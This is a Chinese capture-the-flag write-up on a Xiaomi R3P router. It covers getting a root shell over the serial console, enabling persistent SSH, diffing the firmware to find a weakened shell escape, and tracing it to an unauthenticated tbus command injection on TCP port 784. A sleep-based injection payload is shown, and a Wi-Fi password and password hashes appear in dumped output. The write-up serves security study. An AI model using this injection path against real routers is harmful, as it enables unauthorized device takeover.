这题淼哥基本写的差不多了:QWB-2021-Final:RealWorld MiRouter WriteUp,补充些淼哥没写的:设备串口开SSH、eCos业务分析、流量分析、多人策略、只开一个窗口的exp。另外今年的文章省去了一些基础操作,如果想看新手教学可以看去年的:思科路由器 RV110W CVE-2020-3331 漏洞复现。与去年相比这次没有考察二进制漏洞的利用,而是一个命令注入漏洞点的触发路径分析,明年再来一个和云侧、app侧结合的,后年再来一个从空口打的,这样IoT的大面就基本考全了。
串口调试
除了网上说的:小米路由器 USB 版开启 SSH 教程这个方法以外,这个设备是可以通过一些技巧在串口拿shell,进而直接开ssh的。首先拆机后,串口很容易看到,并且过孔直接可以插入排针:
进入shell的方法是:开机快速在串口输入4,然后即可进入uboot命令行,在其中使用setenv设置环境变量uart_en为1,设置完需要saveenv,然后boot即可开启之后的串口输入,进而直接获得一个shell:
Please choose the operation:
1: Load system code to SDRAM via TFTP.
2: Load system code then write to Flash via TFTP.
3: Boot system code via Flash (default).
4: Entr boot command line interface.
7: Load Boot Loader code then write to Flash via Serial.
9: Load Boot Loader code then write to Flash via TFTP.
You choosed 4
0
4: System Enter Boot Command Line Interface.
U-Boot 1.1.3 (Nov 11 2016 - 11:39:34)
MT7621 # ?
? - alias for 'help'
bootm - boot application image from memory
go - start application at address 'addr'
help - print online help
loadb - load binary file over serial line (kermit mode)
md - memory display
mdio - Ralink PHY register R/W command !!
mm - memory modify (auto-incrementing)
nand - nand command
nm - memory modify (constant address)
printenv- print environment variables
reset - Perform RESET of the CPU
saveenv - save environment variables to persistent storage
setenv - set environment variables
tftpboot- boot image via network using TFTP protocol
version - print monitor version
MT7621 # printenv
bootcmd=tftp
bootdelay=5
ethaddr="00:AA:BB:CC:DD:10"
ipaddr=192.168.1.1
serverip=192.168.1.3
restore_defaults=0
model=R3P
flag_boot_type=2
mode=Router
uart_en=0
flag_ota_reboot=0
telnet_en=0
wl0_ssid=Xiaomi_E72E_5G
wl1_ssid=Xiaomi_E72E
flag_last_success=1
wl0_radio=1
wl1_radio=1
boot_wait=on
SN=15796/10029941
no_wifi_dev_times=0
color=106
CountryCode=CN
nv_wan_type=dhcp
flag_boot_success=1
flag_try_sys1_failed=0
flag_try_sys2_failed=0
normal_firmware_md5=6402c7cd2a79f83b1e7ec05bed66f7b2
nv_sys_pwd=3db659888db455f30e27730f0621d75977fbe35a
Router_unconfigured=0
nv_wifi_ssid=Xiaomi_E72E
nv_wifi_enc=mixed-psk
nv_wifi_pwd=xuanxuannihao
nv_wifi_ssid1=Xiaomi_E72E_5G
nv_wifi_enc1=mixed-psk
nv_wifi_pwd1=xuanxuannihao
flag_flash_permission=1
flag_show_upgrade_info=1
flag_boot_rootfs=1
stdin=serial
stdout=serial
stderr=serial
Environment size: 827/4092 bytes
MT7621 # setenv uart_en 1
MT7621 # saveenv
MT7621 # boot
启动后发现/etc目录可写,并且重启有效,所以直接更改root密码:
# mount
ubi1_0 on /etc type ubifs (rw,relatime)
# vi /etc/shadow
root:$1$NqxdI63c$nzvMkcJxzktGW6Tsgw3jb0:17116:0:99999:7:::
然后使用dropbear启动ssh,不过要首先生成两个ky文件,另外如果想要永久ssh,可更改/etc/init.d/rcS启动脚本,加入一行dropbear即可,然后reboot,之后就用不上串口了。
# dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
# dropbearkey -t dss -f /etc/dropbear/dropbear_dsa_host_key
# dropbear
当年长亭搞AX3600时并没有发现这个东西,不知道是不是路由器型号不一样:
另外多说一句,个人理解,对于当下的IoT设备来说,在不上Android的嵌入式linux的前提下,提权基本是没啥意义的,因为基本就只有一个root用户在工作,所以也不需要打什么内核驱动啥的,只要打出来代码执行,就完事了,不信你看:
root@XiaoQiang:~# ps
PID USER VSZ STAT COMMAND
1 root 2008 S init
2 root 0 SW [kthreadd]
3 root 0 SW [ksoftirqd/0]
4 root 0 SW [kworker/0:0]
5 root 0 SW< [kworker/0:0H]
7 root 0 SW [migration/0]
8 root 0 SW [rcu_bh]
9 root 0 SW [rcu_sched]
10 root 0 SW [watchdog/0]
11 root 0 SW [watchdog/1]
12 root 0 SW [migration/1]
13 root 0 SW [ksoftirqd/1]
14 root 0 SW [kworker/1:0]
15 root 0 SW< [kworker/1:0H]
16 root 0 SW [watchdog/2]
17 root 0 SW [migration/2]
18 root 0 SW [ksoftirqd/2]
20 root 0 SW< [kworker/2:0H]
21 root 0 SW [watchdog/3]
22 root 0 SW [migration/3]
23 root 0 SW [ksoftirqd/3]
25 root 0 SW< [kworker/3:0H]
26 root 0 SW< [khelper]
27 root 0 SW [kdevtmpfs]
28 root 0 SW [kworker/u8:1]
140 root 0 SW< [writeback]
142 root 0 SW< [kintegrityd]
143 root 0 SW< [bioset]
145 root 0 SW< [kblockd]
156 root 0 SW [khubd]
172 root 0 SW< [cfg80211]
173 root 0 SW [kworker/0:1]
186 root 0 SW [kworker/2:1]
192 root 0 SW [khungtaskd]
193 root 0 SW [kswapd0]
244 root 0 SW [fsnotify_mark]
257 root 0 SW< [crypto]
346 root 0 SW< [et_port_queue]
349 root 0 SW [kworker/1:1]
374 root 0 SW< [deferwq]
379 root 0 SW [kworker/3:1]
595 root 0 SW [ubi_bgt1d]
597 root 0 SW [ubifs_bgt1_0]
621 root 0 SW [kworker/u8:2]
699 root 1596 S dropbear
702 root 2008 S init
717 root 4008 S {syslog-ng} supervising syslog-ng
718 root 5592 S /usr/sbin/syslog-ng
839 root 1312 S /sbin/hotplug2 --override --persistent --set-rules-f
908 root 1336 S < /sbin/ubusd
1004 root 18168 S /usr/sbin/taskmonitorServer
1008 root 1404 S /usr/sbin/taskmonitorDaemon -p /usr/sbin/taskmonitor
1148 root 1992 S /sbin/netifd
1262 root 2004 S udhcpc -p /var/run/udhcpc-eth1.pid -s /lib/netifd/dh
1448 root 0 SW [RtmpCmdQTask]
1449 root 0 SW [RtmpWscTask]
1450 root 0 SW [HwCtrlTask]
1451 root 0 SW [ser_task]
1678 root 0 SW [kworker/2:2]
2421 root 0 SW [RtmpMlmeTask]
2860 root 0 SW [RtmpCmdQTask]
2861 root 0 SW [RtmpWscTask]
2862 root 0 SW [HwCtrlTask]
2863 root 0 SW [ser_task]
2886 root 0 SW [RtmpMlmeTask]
2887 root 0 SW [kworker/3:2]
3188 root 3832 S < /usr/bin/fcgi-cgi -c 4
3206 root 3896 S < /usr/bin/fcgi-cgi -c 4
3640 root 9528 S {sysapihttpd} nginx: master process /usr/sbin/sysapi
3641 root 9528 S < {sysapihttpd} nginx: worker process
3711 root 3832 S < /usr/bin/fcgi-cgi -c 2
3720 root 3832 S < /usr/bin/fcgi-cgi -c 2
3749 root 3188 S /usr/sbin/kr_query
3943 root 4720 S {sysapihttpd} nginx: master process /usr/sbin/sysapi
3950 root 4768 S {sysapihttpd} nginx: worker process
4399 root 1516 S /usr/sbin/dnsmasq --user=root -C /var/etc/dnsmasq.co
4400 root 1512 S /usr/sbin/dnsmasq --user=root -C /var/etc/dnsmasq.co
4529 root 2000 S {mald} /bin/sh /usr/bin/mald 2
4545 root 15408 S < /usr/bin/messagingagent --handler_threads 2
4633 root 2020 S /usr/sbin/crond -c /etc/crontabs -l 5
4902 root 33068 S /opt/filetunnel/tunnelserver
4941 root 13304 S /opt/filetunnel/stunserver --verbosity 1
4980 root 2000 S {iweventd.sh} /bin/sh /usr/sbin/iweventd.sh
4998 root 1428 S /usr/sbin/iwevent
4999 root 2036 S {iwevent-call} /bin/sh /usr/sbin/iwevent-call
5025 root 2640 S /usr/sbin/trafficd
5035 root 2048 S {web_filter_reco} /bin/sh /etc/rc.common /etc/init.d
5073 root 25152 S /usr/sbin/indexservice
5101 root 2120 S /usr/sbin/netapi
5137 root 79648 S /usr/sbin/datacenter
5251 root 22724 S /usr/sbin/plugincenter
5428 root 34560 S /usr/sbin/rule_mgr 192.168.31.1 255.255.255.0
5565 root 1472 S /usr/sbin/http_dpi
5721 root 3852 S /usr/bin/lua /usr/sbin/miqosd hwqos
6173 root 10020 S /usr/sbin/rmonitor
6447 root 34608 S /usr/sbin/securitypage -c /etc/config/securitypage/s
6512 root 27180 S /usr/sbin/smartcontroller
6626 root 1992 S watchdog -t 5 -T 120 /dev/watchdog
6666 root 2160 S {syslog-ng.helpe} /bin/sh /usr/sbin/syslog-ng.helper
6667 root 2004 S tail -F /tmp/stat_points_rom.log /tmp/stat_points_we
6668 root 1996 S grep stat_points_instant
6669 root 2000 S {stat_points.hel} /bin/sh /usr/sbin/stat_points.help
6671 root 2164 S {stat_points.cro} /bin/sh /usr/sbin/stat_points.cron
6740 root 5184 S statisticsservice -c /etc/statisticsservice/statisti
6819 root 4228 S lua /usr/sbin/ccgame_service.lua
6831 root 4152 S lua /usr/sbin/ipv6_service.lua
6920 root 1212 S btnd reset 18
9546 root 1992 S sleep 120
10161 root 1992 S sleep 300
10363 root 1992 S sleep 60
10541 root 1668 R dropbear
10542 root 2008 S -ash
10550 root 2000 R ps
root@XiaoQiang:~# cat /etc/shadow
root:$1$NqxdI63c$nzvMkcJxzktGW6Tsgw3jb0:17116:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
漏洞定位
目标端口
进入正题,首先题目希望我们是从哪个口打?去年思科路由器的题目,选手侧设备开了一堆tcp端口,然而展示环境只开了tcp443。所以今年为了减少干扰,开场马上就挑战本题,只为上场扫端口。到挑战台跟工作人员说明来意后,他说今年你不用扫了,这次的环境除了不给web后台和ssh的密码,台上和选手侧的环境是完全一致的,也就是说,只要开口就可以打。不过也不能白上来一次,还是扫了一遍tcp,结果如下:
22/tcp open ssh
53/tcp open domain
80/tcp open http
784/tcp open unknown
5081/tcp open sdl-ets
8098/tcp open unknown
8190/tcp open gcp-rphy
8191/tcp open limnerpressure
8192/tcp open sophos
8193/tcp open sophos
8195/tcp open blp2
8196/tcp open unknown
8197/tcp open unknown
8198/tcp open unknown
8380/tcp open cruise-update
8381/tcp open unknown
8382/tcp open unknown
8383/tcp open m2mservices
8384/tcp open marathontp
8385/tcp open unknown
8899/tcp open ospf-lite
8999/tcp open bctp
漏洞代码
分析比赛设备,发现其中的lua代码都是可以阅读的源码,所以就不需要模仿长亭逆向的那个过程,分析应该是开发版固件。所以diff比赛给的固件(从ssh拽回来)和开发版固件,经文档说明,这是patch过的固件,所以最主要的diff的路径应该是代码部分,也就是可执行程序和库的部分,指令集为mips32小端:
- /bin
- /sbin
- /lib
- /usr
可以在以下地址获得开发版固件:
diff -uprN ./guanfang/usr/lib/lua/traffic.lua ./qwb/usr/lib/lua/traffic.lua
--- ./guanfang/usr/lib/lua/traffic.lua 2017-05-03 14:52:11.000000000 +0800
+++ ./qwb/usr/lib/lua/traffic.lua 2021-07-03 17:31:40.000000000 +0800
@@ -8,7 +8,7 @@ local dbDict
local dhcpDict
function cmdfmt(str)
- return str:gsub("\\", "\\\\"):gsub("`", "\\`"):gsub("\"", "\\\""):gsub("%$", "\\$")
+ return str:gsub("\\", "\\\\"):gsub("`", "\\`"):gsub("\"", "\\\"")
end
function get_hostname_init()
diff -uprN ./guanfang/usr/lib/lua/xiaoqiang/module/XQBackup.lua ./qwb/usr/lib/lua/xiaoqiang/module/XQBackup.lua
--- ./guanfang/usr/lib/lua/xiaoqiang/module/XQBackup.lua 2017-05-03 14:52:04.000000000 +0800
+++ ./qwb/usr/lib/lua/xiaoqiang/module/XQBackup.lua 2021-07-03 17:43:51.000000000 +0800
@@ -1,7 +1,7 @@
module ("xiaoqiang.module.XQBackup", package.seeall)
-local DESFILE = "/tmp/cfg_backup.des"
-local MBUFILE = "/tmp/cfg_backup.mbu"
+local DESFILE = "/tmp/extmp/cfg_backup.des"
+local MBUFILE = "/tmp/extmp/cfg_backup.mbu"
local TARMBUFILE = "/tmp/cfgbackup.tar.gz"
-- backup functions
@@ -210,9 +210,10 @@ function save_info(keys, info)
local dstr = json.encode(keys)
local data = aes.encrypt(key, jstr)
local filename = os.date("%Y-%m-%d--%X",os.time())..".tar.gz"
+ os.execute("mkdir -p /tmp/extmp >/dev/null 2>/dev/null")
fs.writefile(MBUFILE, data)
fs.writefile(DESFILE, dstr)
- os.execute("cd /tmp; tar -czf "..backuppath..filename.." cfg_backup.des cfg_backup.mbu >/dev/null 2>/dev/null")
+ os.execute("cd /tmp/extmp; tar -czf "..backuppath..filename.." cfg_backup.des cfg_backup.mbu >/dev/null 2>/dev/null")
os.execute("rm "..MBUFILE.." >/dev/null 2>/dev/null")
os.execute("rm "..DESFILE.." >/dev/null 2>/dev/null")
local url = lanip.."/backup/log/"..filename
@@ -267,7 +268,8 @@ function extract(filepath)
if not fs.access(tarpath) then
return 1
end
- os.execute("cd /tmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")
+ os.execute("mkdir -p /tmp/extmp >/dev/null 2>/dev/null")
+ os.execute("cd /tmp/extmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")
os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
if not fs.access(DESFILE) then
return 2
很显然:
- 对于XQBackup.lua,是修长亭挖的那个上传的漏洞
- 对于traffic.lua,是开放了一个命令注入
所以只要触发到traffic.lua的cmdfmt函数,并且控制参数,即可完成本题。
业务分析
开放的端口是起点,命令注入点的代码是终点,所以目标就是找到一条线,使得起点和终点相连接,这条线就是漏洞的触发路径。所以分别从两侧出发,广泛并且深入的分析,直至找到二者的交汇处即完成任务。最简单的方法就是寻找关键字符串,可能是:函数名,变量名,文件名,或者有意义的业务名等,找寻他们的方法就是全局搜字符串,如:grep -r "cmdfmt" ./
。
当年淼哥这么教我的时候我觉得很不靠谱,这些复杂的系统和代码是能运行,能跑的。其中有信道,有变量的传递,有他背后的许多道理。但我们就只能用这个本身不能运行,并且看起来没有任何复杂道理的字符串,来进行业务逻辑的关联么?还真是!至少这是认识陌生系统最快的一种办法!理解这事需要多种计算机中的通信的案例:
- c代码编译时认识本文件以外的函数,变量
- ELF运行时能找到库函数所在的位置
- 进程间通信实现跨进程的函数调用
- http访问baidu就不会访问到qq
- webserver的不同url会路由到不同的功能文件或者函数
其实本质就是双方通信,二者要约定一个语言来表达一些事物(资源)。如果资源比较有限,那么可能采用编号的形式来命名。但如果是比较开放,随意的资源,那么作为人类来说,更好理解的就是人类语言的命名,落地到计算机上,就是字符串。并且因为现代计算机已经高度模块化:在一个实体上可能是不同的进程,甚至还有可能分散在不同的实体上等等,那么他们之间必然存在着通信,故在这种情景下的计算机,关联代码包含着相同字符串的概率非常大。当然这是可以对抗的:在一个本体上的所有东西揉到一起,去除所有的人类可读的符号,然后和外接实体的通信使用编号,加密等手段,处理字符串全部使用动态生成、验证等方法。当然我相信大部分代码不会这么蛋疼,因为毕竟开发是为了业务,而不是不是专门出题考你的。所以就可以根据cmdfmt这个字符串,以及开放的端口情况分别进行分析了。
cmdfmt分析
因为已经diff出了疑似漏洞点,所以应该从信息明确的这一侧先入手,分析方法全文搜索字符串cmdfmt
:
只有/usr/lib/lua/traffic.lua
本脚本里的trafficd_lua_ecos_pair_verify
函数调用了有漏洞的cmdfmt
,调用后拼接执行的程序为/usr/sbin/ecos_pair_verify
:
os.execute(string.format('/usr/sbin/ecos_pair_verify -i "%s" -e "%s" ', cmdfmt(ifname), cmdfmt(repeater_token)))
只有/usr/sbin/netapi
包含了trafficd_lua_ecos_pair_verify
这个字符串:
➜ grep -r "trafficd_lua_ecos_pair_verify" ./ 2>/dev/null
Binary file ./qwb/usr/sbin/netapi matches
使用IDA分析/usr/sbin/netapi
,调用trafficd_lua_ecos_pair_verify
的函数sub_402070
没有被任何函数交叉引用,不过在此程序中存在tbus字符串,看起来netapi与tbus有关。tbus开起来和ubus有些类似,业务函数会通过这种总线注册,然后被其他业务调用。所以sub_402070
这个函数指针应该在处被注册,没有被IDA分析出来的原因应该是此函数可能通过一个结构体进行注册。于是我们应当来分析一下tbus这个服务是怎么注册的,因为在字符串中有tbus_init
,从此处开始看起:
LOAD:004061A8 aTbusInit: .ascii "tbus_init"<0>
交叉引用找到
sub_401E50(5, "tbus_init", 330, "connected as 0x%08x\n", *(_DWORD *)(v10 + 80));
v11 = dword_4167E8;
*(_DWORD *)(dword_4167E8 + 92) = sub_401F98;
uloop_fd_add(v11 + 44, 9);
v12 = sub_40478C(dword_4167E8, &unk_4165A8);
sub_40478C
这个函数看起来比较可疑,从参数上看起来有些像注册,找到unk_4165A8
这个地址:
004165A8 unk_4165A8: .byte 0 # DATA XREF: sub_401884+238↑o
LOAD:004165A8 # sub_401884+254↑o ...
LOAD:004165A9 .byte 0
LOAD:004165AA .byte 0
LOAD:004165AB .byte 0
LOAD:004165AC .byte 0
LOAD:004165AD .byte 0
LOAD:004165AE .byte 0
LOAD:004165AF .byte 0
LOAD:004165B0 .byte 0
LOAD:004165B1 .byte 0
LOAD:004165B2 .byte 0
LOAD:004165B3 .byte 0
LOAD:004165B4 .byte 0
LOAD:004165B5 .byte 0
LOAD:004165B6 .byte 0
LOAD:004165B7 .byte 0
LOAD:004165B8 .byte 0
LOAD:004165B9 .byte 0
LOAD:004165BA .byte 0
LOAD:004165BB .byte 0
LOAD:004165BC .byte 0
LOAD:004165BD .byte 0
LOAD:004165BE .byte 0
LOAD:004165BF .byte 0
LOAD:004165C0 .byte 0
LOAD:004165C1 .byte 0
LOAD:004165C2 .byte 0
LOAD:004165C3 .byte 0
LOAD:004165C4 off_4165C4: .word aNetapi # DATA XREF: sub_401884+258↑r
LOAD:004165C4 # sub_401884+2A0↑r
LOAD:004165C4 # "netapi"
LOAD:004165C8 .align 4
LOAD:004165D0 .word off_4165E4 # "netapi"
LOAD:004165D4 .byte 0
LOAD:004165D5 .byte 0
LOAD:004165D6 .byte 0
LOAD:004165D7 .byte 0
LOAD:004165D8 .byte 0
LOAD:004165D9 .byte 0
LOAD:004165DA .byte 0
LOAD:004165DB .byte 0
LOAD:004165DC .byte 0xBC
LOAD:004165DD .byte 0x61 # a
LOAD:004165DE .byte 0x40 # @
LOAD:004165DF .byte 0
LOAD:004165E0 .byte 1
LOAD:004165E1 .byte 0
LOAD:004165E2 .byte 0
LOAD:004165E3 .byte 0
在0x004165DC出发现个类似地址的东西,按d修改数据类型为四字节:
LOAD:004165DC .word off_4061BC # "init"
然后跳转到0x4061BC地址处,发现了0x402070,以及0x4061D0
LOAD:004061BC .word aInit # "init"
LOAD:004061C0 .byte 0x70
LOAD:004061C1 .byte 0x20
LOAD:004061C2 .byte 0x40 # @
LOAD:004061C3 .byte 0
LOAD:004061C4 .align 3
LOAD:004061C8 .byte 0xD0
LOAD:004061C9 .byte 0x61 # a
LOAD:004061CA .byte 0x40 # @
LOAD:004061CB .byte 0
LOAD:004061CC .word 1
继续按d修改数据类型为四字节:
LOAD:004061BC .word aInit # "init"
LOAD:004061C0 .word sub_402070
LOAD:004061C4 .align 3
LOAD:004061C8 .word off_4061D0 # "data"
LOAD:004061CC .word 1
LOAD:004061D0 off_4061D0: .word aData
到此应该大概猜出来了,这个函数的注册关联的名字是init,参数应该是data。并且这个data应该是个json:因为之后的解析函数为blobmsg_parse
,这一套就是ubus的机制,关于ubus可以看徐老这篇:物联网设备消息总线机制的使用及安全问题。分析至此应该明白,netapi将是我们的目标函数sub_402070
注册到了tbus总线上,所以之后就是怎么调用这个注册到tbus上的服务了。全局搜索tbus会有如下的一些串:
timeout -t 2 tbus call $a notice "{\"ssid_5g\":\"${ssid_base64_5g}\",\"passwd_5g\":\"${key_base64_5g}\"}"
timeout -t 2 tbus list | grep -v netapi | grep -v master | while read a
option tbus_listen_port '784'
option tbus_listen_event 'trafficd'
从这里我们能关联起tbus、trafficd、tcp784,还能知道tbus这个命令的大概的使用方法,也可以直接在命令行中使用tbus命令观察输出的帮助信息:
# tbus
Usage: tbus [<options>] <command> [arguments...]
Options:
-p <port>: Set the server port to connect to
-h <hostname>: Set the server hostname or ip to connect to
-t <timeout>: Set the timeout (in seconds) for a command to complete
-S: Use simplified output (for scripts)
-v: More verbose output
Commands:
- list [<path>] List objects
- call <path> <method> [<message>] Call an object method
- listen [<path>...] Listen for events
- send <type> [<message>] Send an event
- wait_for <object> [<object>...] Wait for multiple objects to appear on ubus
- postfile <path> <filepath> post file for ecos
结合逆向的init
方法名和data
参数名,尝试几次,即可发生命令注入:
tbus call netapi init '{"data":"$(sleep 5)"}'
总结下来应该就是:
- trafficd是tbus的服务端,监听tcp784端口
- tbus是tbus的客户端工具,背后的原理是与tcp784进行通信
- netapi是也是tbus的客户端,不过这是一个注册服务函数的客户端,并不是一个通用的工具
从cmdfmt倒序分析到此,应该已经能知道后半程的触发路径了:
- tcp 784:直接向tcp 784 端口发包
- tbus call:从其他端口能触发到tbus call netapi init ,并且data可控。
全文搜索并没有找到netapi init这个串,并且784端口又是直接暴露在0.0.0.0上,所以应该就是直接向tcp784发包即可完成攻击了,于是这个方法就不存在前半程了。当然比赛时我们没有这么一帆风顺,也并没有从cmdfmt往下走就直接缕清了业务逻辑,而是卡在了对于sub_402070
目标函数的注册的寻找中,换句话说我们的逆向不是很好,所以并没有直接就确定了784这个目标,也分析了对于本题用处不大的前半程:端口分析。
端口分析
root@XiaoQiang:~# netstat -pantu | grep 0.0.0.0 | grep -v "127"
tcp 0 0 0.0.0.0:8384 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8192 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8385 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8193 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8098 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8899 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8195 0.0.0.0:* LISTEN 0 416 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8196 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8197 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8198 0.0.0.0:* LISTEN 0 0 3943/mihttpd.conf
tcp 0 0 0.0.0.0:8999 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:784 0.0.0.0:* LISTEN 0 52 5025/trafficd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 0 13884 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN 0 0 4399/dnsmasq
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 156 699/dropbear
tcp 0 0 0.0.0.0:5081 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8380 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8381 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8382 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8190 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8383 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
tcp 0 0 0.0.0.0:8191 0.0.0.0:* LISTEN 0 0 3640/sysapihttpd.co
udp 0 0 0.0.0.0:53 0.0.0.0:* 12679 23983 4399/dnsmasq
udp 0 0 0.0.0.0:67 0.0.0.0:* 0 0 4399/dnsmasq
udp 0 0 0.0.0.0:3478 0.0.0.0:* 36 84 4941/stunserver
root@XiaoQiang:~# cat /proc/3640/cmdline
nginx: master process /usr/sbin/sysapihttpd -c /tmp/sysapihttpdconf/sysapihttpd.conf
按照进程划分,目标大概分析如下:
端口 | 类型 | 进程 | 属性 |
---|---|---|---|
tcp 80 5081 8xxx | Web | sysapihttpd | 小米自研 |
tcp 784 | unkown | trafficd | 小米自研 |
tcp 53 udp 53 67 | DNS | dnsmasq 2.71 | 开源软件 |
tcp 22 | SSH | dropbear v2011.54 | 开源软件 |
udp 3478 | STUN | stunserver January 22, 2012 | 开源软件 |
对于三个开源软件,看起来有些影响里的cve如下:
- CVE-2016-7406: dropbear,格串,不过需要一个已经认证的用户,情景是执行受限的命令。
- CVE-2020-25681: dnsmasq,堆溢出,不过需要在/etc/dnsmasq.conf开启DNSSEC,本环境中并没开。
- stunserver没有找到CVE以及公开的漏洞和exploit
所以重点还是应该放在两个小米自研的进程上sysapihttpd和trafficd
sysapihttpd
Web因为不给管理员密码,所以需要找前台漏洞或者前台绕过然后到后台getshell,走这条路需要把未授权可以访问的Web接口找出来分析,可以在各种lua脚本里找到类似这种代码:
entry({"api", "xqsystem", "login"}, call("actionLogin"), (""), 109, 0x08)
这个显然就是注册api和函数的对应关系,长亭之前逆向连权限啥的都说了,所以可以尝试去找到所有未授权的接口,然后进行分析。另外绕过前台这个事应该难度比较大,长亭很久之前就搞过了,至少是只公开了一个绕前台的洞,还被补了,所以感觉这条路不太通。另外在Web口分析出跟ecos有关的接口总共有4个,全部是认证后的后台才可以访问的:
usr/lib/lua/luci/controller/api/misystem.lua
entry({"api", "misystem", "ecos_info"}, call("getEcosInfo"), (""), 143)
entry({"api", "misystem", "ecos_switch"}, call("ecosSwitch"), (""), 144)
entry({"api", "misystem", "ecos_upgrade"}, call("ecosUpgrade"), (""), 145)
entry({"api", "misystem", "ecos_upgrade_status"}, call("getEcosUpgradeStatus"), (""), 146)
顺着这几个api下去,会进到usr/lib/lua/xiaoqiang/module/XQEcos.lua
以及/usr/sbin/ecos_upgrade.lua
,然后也会看到tbus。
local cmd = "tbus call "..ecos.ip.." switch \"{\\\"wifi_explorer\\\":"..(on and "1" or "0").."}\" >/dev/null 2>/dev/null"
return os.execute(cmd) == 0
local code = os.execute("tbus postfile "..dev.ip.." ".."/tmp/eCos.img")
比赛的时候分析这都很迷惑,因为这条路是顺着Web下来的,那我至少应该明白这个业务是干啥的,这个eCos,到底是个啥?是自己?还是自己内部的一个小系统?通过使用认证后的ecos_info
这个api分析参数需要提供一个mac地址,但是无论我给出这个设备的哪个mac地址,或者任何客户端的mac地址,都说这个设备不支持。最终在XQEcos.lua
的_getEcosDevices
方法中看到了,他会判断这个目标设备是不是在ExtenderHw
列表中,而这个列表的定义:
local ExtenderHw = { R01=1, R02=1, R03=1 }
比赛的路由器代号是:R3P,经过网上查询,这个R01是尼玛wifi放大器:
这下就理解为啥是eCos了,wifi放大器里可不就是eCos么,这一套Weba的pi就是管理放大器的,比赛时我们还咸鱼顺丰当日达了一个放大器以及另外一个路由器。我们发现当两个路由器以中继模式连接时,非中继路由器的tbus list多出了另一个路由器(中继路由器)的ip地址,不过因为另一个路由器不是放大器,所以仍然无法触发ecos_info
。
在Web口分析到这里,即使从Web的api可以触发到漏洞函数,也还需要找一个绕过登录的。于是我们开始关注到784这个端口,因为netapi的逆向失败,当时我认为,ecos_pair_verify
应该是在升级的过程中触发,在升级过程中配对校验,合情合理,所以就一直尝试希望触发升级操作,也就是tbus的postfile操作。虽然这个当时分析错了,但是tbus的工作原理分析对了,想到了可以直接给784端口发流量来绕过Web鉴权。想的是:
- 在鉴权的Web口触发升级操作,进而触发
tbus postfile
,进而ecos_pair_verify
- 抓tcp784的流量并重放
也是因为这个思路,第一天晚上并没有成功触发ecos_pair_verify
,第二天早上我们就发现了netapi正确的逆向方法,从而放弃了80口的Web。
trafficd
经过上文的分析其实,其实已经理解了trafficd这个tbus的服务端,甚至可以在traffic.lua的注释中看到这个脚本的作者:yubo@xiaomi.com
,在他的github上甚至能找到tbus这套系统的源码:
另外还有一个非常简单的办法就能把netapi和784端口关联起来:
root@XiaoQiang:~# netstat -pantu | grep 784
tcp 0 0 0.0.0.0:784 0.0.0.0:* LISTEN 0 468 5025/trafficd
tcp 0 0 127.0.0.1:784 127.0.0.1:27611 ESTABLISHED 212 154716 5025/trafficd
tcp 0 0 127.0.0.1:27611 127.0.0.1:784 ESTABLISHED 3472 151464 5101/netapi
可以看到netapi是和本地的784端口有一个tcp连接的,所以即使没有逆向明白netapi的init
注册,也能关联到最终攻击的端口。综合上述的信息,如果来了一个放大器,应该会主动的和路由器的784端口进行连接,并且远程调用路由器的里的netapi的init完成设备绑定,也就是进而触发了漏洞,所以漏洞触发的这条路,应该是与Web无关的。结论:
- 如果存在放大器,我们可以在网络中对其初始化的过程进行抓包,修改其中的调用init的流量完成命令注入。
- 如果没有放大器,可以使用tbus这个客户端,直接发起函数调用,完成命令注入。
流量复现
抓包分析
这里注意,netapi与trafficd通信的地址是127.0.0.1,所以需要抓取本地localhost网卡的流量,可以先查看一下网卡信息(部分省略):
root@XiaoQiang:~# ifconfig
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:21238 errors:0 dropped:0 overruns:0 frame:0
TX packets:21238 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1643537 (1.5 MiB) TX bytes:1643537 (1.5 MiB)
路由器上本身有tcpdump,所以直接使用其对lo网卡进行抓取即可,这里可以使用本机ssh、wireshark和远程tcpdump联合使用,可直接在wireshark中看到数据包:
ssh root@192.168.31.1 "tcpdump -i lo -s 0 -w -" | wireshark -k -i -
然后触发一次命令注入:
tbus call netapi init '{"data":"$(sleep 5)"}'
分析流量:tbus.pcapng
首先使用tcp.port == 784
筛出tbus的流量,然后发现还有netapi和784保持连接的tcp,不过因为流量没几条,所以能看到命令注入的流量,直接用其端口号滤出流量 tcp.port == 5186
:
